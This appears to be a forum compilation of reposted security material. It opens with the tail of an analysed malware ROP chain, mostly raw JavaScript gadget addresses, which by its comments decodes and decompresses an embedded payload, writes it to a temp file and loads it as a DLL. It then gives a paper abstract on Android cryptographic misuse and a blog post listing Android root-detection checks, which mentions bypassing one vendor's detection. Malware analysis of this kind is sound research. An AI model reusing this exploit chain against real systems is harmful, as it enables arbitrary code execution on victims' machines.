r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818020); //scratch_space + 0x20 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x54676e69); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818024); //scratch_space + 0x24 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x6e69426f); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818028); //scratch_space + 0x28 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41797261); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81802c); //scratch_space + 0x2c r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41414100); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81802d); //scratch_space + 0x2d r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x6c64746e); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818031); //scratch_space + 0x31 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x4141006c); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818033); //scratch_space + 0x33 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x446c7452); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818037); //scratch_space + 0x37 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x6d6f6365); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81803b); //scratch_space + 0x3b r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x73657270); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81803f); //scratch_space + 0x3f r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x66754273); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818043); //scratch_space + 0x43 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x726566); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x73736377); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81804b); //scratch_space + 0x4b r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x41007274); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0240); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x538c1d); //xchg eax,edi/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc023c); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll" r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc022c); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle r+=getUnescape(moduleLoadAddr+0x818047); //scratch_space + 0x47 ("wcsstr") r+=getUnescape(moduleLoadAddr+0x154a); //jmp eax {MSVCR90!wcsstr (7189752c)} r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret r+=getUnescape(0x41414141); // Placeholder for Ptr to "Module" (unicode) r+=getUnescape(moduleLoadAddr+0x60a990] // "Module" (unicode) r+=getUnescape(moduleLoadAddr+0x2df56d); //add eax, 0ch/ret ; Points to after "Module" r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; Copies the start of that string above to the scratchspace r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(0x1010101); r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x817030); //pointer to "Crypt32.dll" r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc02ac); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; ; Loads the address of "Crypt32.dll" to 4141 below r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(0x41414141); // Placeholder for the address of "Crypt32.dll" r+=getUnescape(moduleLoadAddr+0x818018); //scratch_space + 0x18 // Place holder in scratch space for handle of crypt32 from loadlibrary r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg eax,ebp/ret r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 0x5e r+=getUnescape(moduleLoadAddr+0x465f20); //mov eax,dword ptr [ecx]/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc033c); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret ; r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0340); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0344); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x57c7ce); //xchg eax,ebp/ret ; sets ebp to attacker controlled data r+=getUnescape(moduleLoadAddr+0x154a); //jmp eax {CRYPT32!CryptStringToBinaryA (756e1360)} r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(0x41414141); // Placeholder for ptr to base64 above r+=getUnescape(0x42424242); // Placeholder for zeros above r+=getUnescape(0x43434343); // place holder for 1 above r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 0x66 r+=getUnescape(moduleLoadAddr+0x81804e); //scratch_space + 0x4e r+=getUnescape(moduleLoadAddr+0x818056); //scratch_space + 0x56 r+=getUnescape(moduleLoadAddr+0x81805a); //scratch_space + 0x5a r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0428); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ; ecx = 2 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(moduleLoadAddr+0x81804e); //; scratch_space + 0x4e r+=getUnescape(moduleLoadAddr+0x465f20); //mov eax,dword ptr [ecx]/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0438); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e r+=getUnescape(moduleLoadAddr+0x465f20); //mov eax,dword ptr [ecx]/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc042c); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x81802d); //ptr to string (ntdll) r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0418); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(0x41414141); // place holder for above r+=getUnescape(moduleLoadAddr+0x818033); //prt to str "RtlDecompressBuffer" r+=getUnescape(moduleLoadAddr+0x154a); //jmp eax {ntdll!RtlDecompressBuffer (77585001)} r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(0x41414141); // Place Holder for above - which is 2 (LZNT) r+=getUnescape(0x44444444); // Place Holder for above - ptr to b64 blob r+=getUnescape(0x1010101); // Place Holder for above - 01010101 r+=getUnescape(moduleLoadAddr+0x818066); //scratch_space + 66 - ptr to decoded blob r+=getUnescape(0x43434343); // Place holder for above 00004a51 r+=getUnescape(moduleLoadAddr+0x818052); //scratch_space + 52 ptr to "756f7365" r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x816e96); //ptr to "MSVCR90.dll" r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc047c); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(0x41414141); // handle r+=getUnescape(moduleLoadAddr+0x81800e); //ptr to "fwrite" r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc05ec); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret; r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x60a4fc); //ptr to Kernel32.dll r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc04e0); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f11d4); //Address to kernel32!GetProcAddressStub r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(0x41414141); // Handle r+=getUnescape(moduleLoadAddr+0x818001] ptr to GetTempPathA r+=getUnescape(moduleLoadAddr+0x154a); //jmp eax {kernel32!GetTempPathA (769e8996)} r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(0x1010101); // r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; to be used to store the path r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01; path r+=getUnescape(moduleLoadAddr+0x4f16f4); //add eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret ; is zero r+=getUnescape(0x542e44); // is "D.T" r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x502076); //xor eax, eax/ret ; r+=getUnescape(moduleLoadAddr+0x5d72b8); //inc eax/ret ; r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret ; r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc05f8); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(moduleLoadAddr+0x818052] r+=getUnescape(moduleLoadAddr+0x465f20); //mov eax,dword ptr [ecx]/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc05fc); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f165c); //65cf265c={MSVCR90!fopen (7188fe4a)} r+=getUnescape(moduleLoadAddr+0x1dee7); //jmp [eax] r+=getUnescape(moduleLoadAddr+0x5ec1a0); //pop ecx/pop ecx/ret r+=getUnescape(moduleLoadAddr+0x818101); //scratch_space + 01 ; Points to temppath+DLL name r+=getUnescape(moduleLoadAddr+0x818015); //scratch_space + 15 ; points to "wb" r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret ; r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0600); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret; r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc0614); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret ecx is ptr to 0 r+=getUnescape(moduleLoadAddr+0x5efb29); //pop ecx/ret r+=getUnescape(moduleLoadAddr+0x81805e); //scratch_space + 5e; r+=getUnescape(moduleLoadAddr+0x465f20); //mov eax,dword ptr [ecx]/ret r+=getUnescape(moduleLoadAddr+0x508c23); //xchg eax,ecx/ret r+=getUnescape(moduleLoadAddr+0x5ec230); //pop edi/ret r+=getUnescape(0xcccc05f4); r+=getUnescape(moduleLoadAddr+0x4225cc); //movsx edi,di/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(moduleLoadAddr+0x13ca8b); //add edi,esi/ret r+=getUnescape(moduleLoadAddr+0x25e883); //push edi/pop eax/ret r+=getUnescape(moduleLoadAddr+0x46d6ca); //mov [eax], ecx/ret r+=getUnescape(0x42424242); // ptr to fwrite r+=getUnescape(moduleLoadAddr+0x5012b3); //add esp,10h/ret r+=getUnescape(0x43434343); // ptr to start of program r+=getUnescape(0x44444444); // 1 r+=getUnescape(0x44444444); // 00008c00 r+=getUnescape(0x45454545); // file handle r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1668); // ptr to fclose r+=getUnescape(moduleLoadAddr+0x1dee7); // jmp dword ptr [eax] r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret - Useless? r+=getUnescape(0x45454545); r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)} r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x818101); //Loads D.T as a library r+=getUnescape(moduleLoadAddr+0x51f5fd); //pop eax/ret r+=getUnescape(moduleLoadAddr+0x5f10c0); // ptr to SleepStub r+=getUnescape(moduleLoadAddr+0x4b1788); //call [eax]/ret r+=getUnescape(moduleLoadAddr+0x17); //ret r+=getUnescape(0x1010101); r+=getUnescape(0x6f004d); r+=getUnescape(0x750064); r+=getUnescape(0x65006c); ROP_ADD_ESP_4 = 0x20c709bb; ROP_ADD_ESP_8 = 0x20d7c5ad; ROP_ADD_ESP_10 = 0x20d022b3; ROP_ADD_ESP_14 = 0x20cfa63f; ROP_ADD_ESP_1C = 0x20cec3dd; ROP_ADD_ESP_3C = 0x2080df51; XCHG_EAX_ESP = 0x20d18753; NOP = 0x20801017; CLR_STACK = 0x20cea9bf; STACK_PIVOT = 0x2089209e; Posted by OpenSecurity Research at 6:30 AM Sursa: Open Security Research: Analysis of a Malware ROP Chain

An Empirical Study of Cryptographic Misuse in Android Applications ABSTRACT Developers use cryptographic APIs in Android with the intent of securing data such as passwords and personal information on mobile devices. In this paper, we ask whether developers use the cryptographic APIs in a fashion that provides typical cryptographic notions of security, e.g., IND-CPA security. We develop program analysis techniques to automatically check programs on the Google Play marketplace, and find that 10,327 out of 11,748 applications that use cryptographic APIs – 88% overall – make at least one mistake. These numbers show that applications do not use cryptographic APIs in a fashion that maximizes overall security. We then suggest specific remediations based on our analysis towards improving overall cryptographic security in Android applications. Download: https://www.cs.ucsb.edu/~chris/research/doc/ccs13_cryptolint.pdf

Android Root Detection Techniques 12/2/2013 | NetsPWN Introduction I have taken a look at a lot of Mobile Device Management (MDM) solutions lately to figure out how they are detecting rooted Android devices. Through some research I have discovered that many of these MDM solutions use similar methods to detect rooted devices. This usually involves looking for specific packages and files, directory permissions, and running certain commands. I won't be disclosing which MDMs use which methods, but I will provide a list of packages, files, folders, and commands that I have found to be used in root detection. All the commands I will be running are on a stock rooted Nexus 4 running Android 4.2.2. Default Files & Configurations The first root detection checks are for default files and configurations that should be present on a non-rooted device. These may also be present in rooted devices with non-custom roms. Checking the BUILD tag for test-keys. By default, stock Android ROMs from Google are built with release-keys tags. If test-keys are present, this can mean that the Android build on the device is either a developer build or an unofficial Google build. My Nexus 4 is running stock Android from Google's (Android Open Source Project) AOSP. This is why my build tags show release-keys. root@android:/ # cat /system/build.prop | grep ro.build.tags ro.build.tags=release-keys Checking for Over The Air (OTA) certs. By default, Android is updated OTA using public certs from Google. If the certs are not there, this usually means that there is a custom ROM installed which is updated through other means. My Nexus 4 has no custom ROM and is updated through Google. Updating my device however, will probably break root. root@android:/ # ls -l /etc/security/otacerts.zip ls -l /etc/security/otacerts.zip -rw-r--r-- root root 1733 2008-08-01 07:00 otacerts.zip Installed Files & Packages There are many files and packages that MDMs look for when detecting if a device is rooted. I have compiled a list of ones that I know for sure are being detected. Superuser.apk. This package is most often looked for on rooted devices. Superuser allows the user to authorize applications to run as root on the device. Other packages. The following list of packages are often looked for as well. The last two facilitate in temporarily hiding the su binary and disabling installed applications. com.noshufou.android.su com.thirdparty.superuser eu.chainfire.supersu com.koushikdutta.superuser com.zachspong.temprootremovejb com.ramdroid.appquarantine The following command lists packages that are currently installed on your device. root@android:/ # pm list packages package:com.android.backupconfirm package:com.android.bluetooth package:com.android.browser.provider package:com.android.calculator2 package:eu.chainfire.supersu Any chainfire package. One MDM looks for any package that is developed by chainfire. The most notable one being SuperSU. Cyanogenmod.superuser. If the Cyanogenmod ROM is installed, the cyanogenmod.superuser activity may be in the com.android.settings package. This can be detected by listing the activities within com.android.settings. Su Binaries. The following list of Su binaries are often looked for on rooted devices. /system/bin/su /system/xbin/su /sbin/su /system/su /system/bin/.ext/.su /system/usr/we-need-root/su-backup /system/xbin/mu Directory Permissions Sometimes when a device has root, the permissions are changed on common directories. I have never seen this personally, but it is being checked for. Are the following directories writable. /data / /system /system/bin /system/sbin /system/xbin /vendor/bin /sys /sbin /etc /proc /dev Can we read files in /data. The /data directory contains all the installed application files. By default, /data is not readable. Commands A few MDMs execute common commands to detect if a device is rooted. Su. Execute su and then id to check if the current user has a uid of 0 or if it contains (root). shell@android:/ $ su shell@android:/ # id uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r) Busybox. If a device has been rooted, more often then not Busybox has been installed as well. Busybox is a binary that provides many common linux commands. Running Busybox is a good indication that a device has been rooted. root@android:/ # busybox df Filesystem 1K-blocks Used Available Use% Mounted on tmpfs 958500 32 958468 0% /dev tmpfs 958500 0 958500 0% /mnt/secure tmpfs 958500 0 958500 0% /mnt/asec tmpfs 958500 0 958500 0% /mnt/obb Conclusion This is probably no where near a complete list, but it does show the many different ways root can be detected on Android devices. Blacklisting packages and binaries seems to be the simplest and most effective way to detect root. This is especially true if your device is running a stock ROM from Google that has been rooted like mine where the only difference is the addition of su and a couple packages. At some point in the future I would like to create an app that will provide all these checks before installing an MDM. I touch on bypassing AirWatch root detection in my blog here: https://www.netspi.com/blog/entryid/192/bypassing-airwatch-root-restriction, however, AirWatch has made some changes so it may not work anymore depending on your environment. Sursa: https://www.netspi.com/blog/entryid/209/android-root-detection-techniques

